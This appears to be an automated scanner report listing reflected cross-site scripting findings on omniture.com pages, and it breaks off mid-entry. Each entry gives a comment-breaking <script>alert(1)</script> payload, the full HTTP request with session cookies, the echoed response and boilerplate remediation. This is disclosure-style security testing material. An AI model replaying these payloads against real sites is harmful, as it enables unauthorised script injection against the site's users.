<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Community | Online Business Opt ...[SNIP]... <!-- en/community/customers.omniture.com7144c--><script>alert(1)</script>b7eed20f598 cached on 2 February 2011 at 11:16:04 PST (b1f612dbc20a2cb73ea256efbcd7c9d5) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 2c4b9--><script>alert(1)</script>7d4a341ee32 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/community/developer2c4b9--><script>alert(1)</script>7d4a341ee32 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:15:42 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:15:42 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:15:42 GMT Content-Length: 22191 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:15:42 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Community | Online Business Opt ...[SNIP]... <!-- en/community/developer2c4b9--><script>alert(1)</script>7d4a341ee32 cached on 2 February 2011 at 11:15:42 PST (0dd32b264ef8e7839f14b536c65df663) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload dc1e8--><script>alert(1)</script>227c082ad36 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/community/eventsdc1e8--><script>alert(1)</script>227c082ad36 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:15:35 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:15:35 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:15:35 GMT Content-Length: 22185 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:15:35 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Community | Online Business Opt ...[SNIP]... <!-- en/community/eventsdc1e8--><script>alert(1)</script>227c082ad36 cached on 2 February 2011 at 11:15:35 PST (d26fa80fb633eb8d32262dbc6e0bbc27) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload f80cc--><script>alert(1)</script>67c63f45b27 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/community/usergroupsf80cc--><script>alert(1)</script>67c63f45b27 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:16:46 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:16:46 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:16:46 GMT Content-Length: 22193 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:16:46 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Community | Online Business Opt ...[SNIP]... <!-- en/community/usergroupsf80cc--><script>alert(1)</script>67c63f45b27 cached on 2 February 2011 at 11:16:45 PST (ac9ba81c0d7305ddb46e7643ef96d89f) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 6efac--><script>alert(1)</script>7a7b46fb32b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/company/adobe_faq6efac--><script>alert(1)</script>7a7b46fb32b HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:48:29 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:48:29 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:48:29 GMT Content-Length: 27655 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:48:29 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Corporate Overview | Online Bus ...[SNIP]... <!-- en/company/adobe_faq6efac--><script>alert(1)</script>7a7b46fb32b cached on 2 February 2011 at 21:48:28 PST (413597e51bd47bb907871a6992df8c75) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload ef00c--><script>alert(1)</script>4d4bdbca291 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/company/analyst_insightef00c--><script>alert(1)</script>4d4bdbca291 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:52:23 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:52:23 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:52:23 GMT Content-Length: 27667 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:52:23 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Corporate Overview | Online Bus ...[SNIP]... <!-- en/company/analyst_insightef00c--><script>alert(1)</script>4d4bdbca291 cached on 2 February 2011 at 21:52:23 PST (7ac57489a0d7a746a6e1f67c08bdca49) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload a57bc--><script>alert(1)</script>b2491e7fc39 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/company/customersa57bc--><script>alert(1)</script>b2491e7fc39 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:49:55 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:49:55 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:49:56 GMT Content-Length: 27655 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:49:55 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Corporate Overview | Online Bus ...[SNIP]... <!-- en/company/customersa57bc--><script>alert(1)</script>b2491e7fc39 cached on 2 February 2011 at 21:49:55 PST (0960645865d37a6f4057cf3e3adf691b) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload f5b9d--><script>alert(1)</script>41f5b79ce88 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/company/press_roomf5b9d--><script>alert(1)</script>41f5b79ce88 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:47:56 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:47:56 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:47:56 GMT Content-Length: 27657 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:47:56 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Corporate Overview | Online Bus ...[SNIP]... <!-- en/company/press_roomf5b9d--><script>alert(1)</script>41f5b79ce88 cached on 2 February 2011 at 21:47:56 PST (99f9fbb0ec3c8761c5775e4b308a43d7) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 28450--><script>alert(1)</script>48a8e156b78 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/company/press_room28450--><script>alert(1)</script>48a8e156b78/awards HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:49:07 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:49:07 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:49:07 GMT Content-Length: 27671 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:49:07 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Corporate Overview | Online Bus ...[SNIP]... <!-- en/company/press_room28450--><script>alert(1)</script>48a8e156b78/awards cached on 2 February 2011 at 21:49:07 PST (67b75c3a7a72e61e08dc7a75ef71608e) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload c3bd4--><script>alert(1)</script>3004f97382 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/company/press_room/awardsc3bd4--><script>alert(1)</script>3004f97382 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:50:32 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:50:32 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:50:32 GMT Content-Length: 27669 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:50:32 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Corporate Overview | Online Bus ...[SNIP]... <!-- en/company/press_room/awardsc3bd4--><script>alert(1)</script>3004f97382 cached on 2 February 2011 at 21:50:32 PST (dea3263f04eb981b5d960442cc14ab3b) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload 30025--><script>alert(1)</script>a62a3da0947 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/company/press_room30025--><script>alert(1)</script>a62a3da0947/news HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:47:36 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:47:36 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:47:36 GMT Content-Length: 27667 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:47:36 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Corporate Overview | Online Bus ...[SNIP]... <!-- en/company/press_room30025--><script>alert(1)</script>a62a3da0947/news cached on 2 February 2011 at 21:47:36 PST (6246c5f2681409bd7166fd490b113094) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload 196a7--><script>alert(1)</script>e3c5b5bca9f was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/company/press_room/news196a7--><script>alert(1)</script>e3c5b5bca9f HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:48:39 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:48:39 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:48:39 GMT Content-Length: 27667 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:48:39 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Corporate Overview | Online Bus ...[SNIP]... <!-- en/company/press_room/news196a7--><script>alert(1)</script>e3c5b5bca9f cached on 2 February 2011 at 21:48:39 PST (462499baececa20b81a6d5f0fe14c861) --> ...[SNIP]...
The value of REST URL parameter 3 is copied into an HTML comment. The payload a970f--><script>alert(1)</script>791a5c27c52 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /en/company/press_rooma970f--><script>alert(1)</script>791a5c27c52/press_releases HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:49:41 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:49:41 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:49:41 GMT Content-Length: 27687 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:49:41 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Corporate Overview | Online Bus ...[SNIP]... <!-- en/company/press_rooma970f--><script>alert(1)</script>791a5c27c52/press_releases cached on 2 February 2011 at 21:49:41 PST (45b4ae58b5e221e55bdd3bc1db192ec0) --> ...[SNIP]...
The value of REST URL parameter 4 is copied into an HTML comment. The payload 61f3b--><script>alert(1)</script>06bfdf5f2ee was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
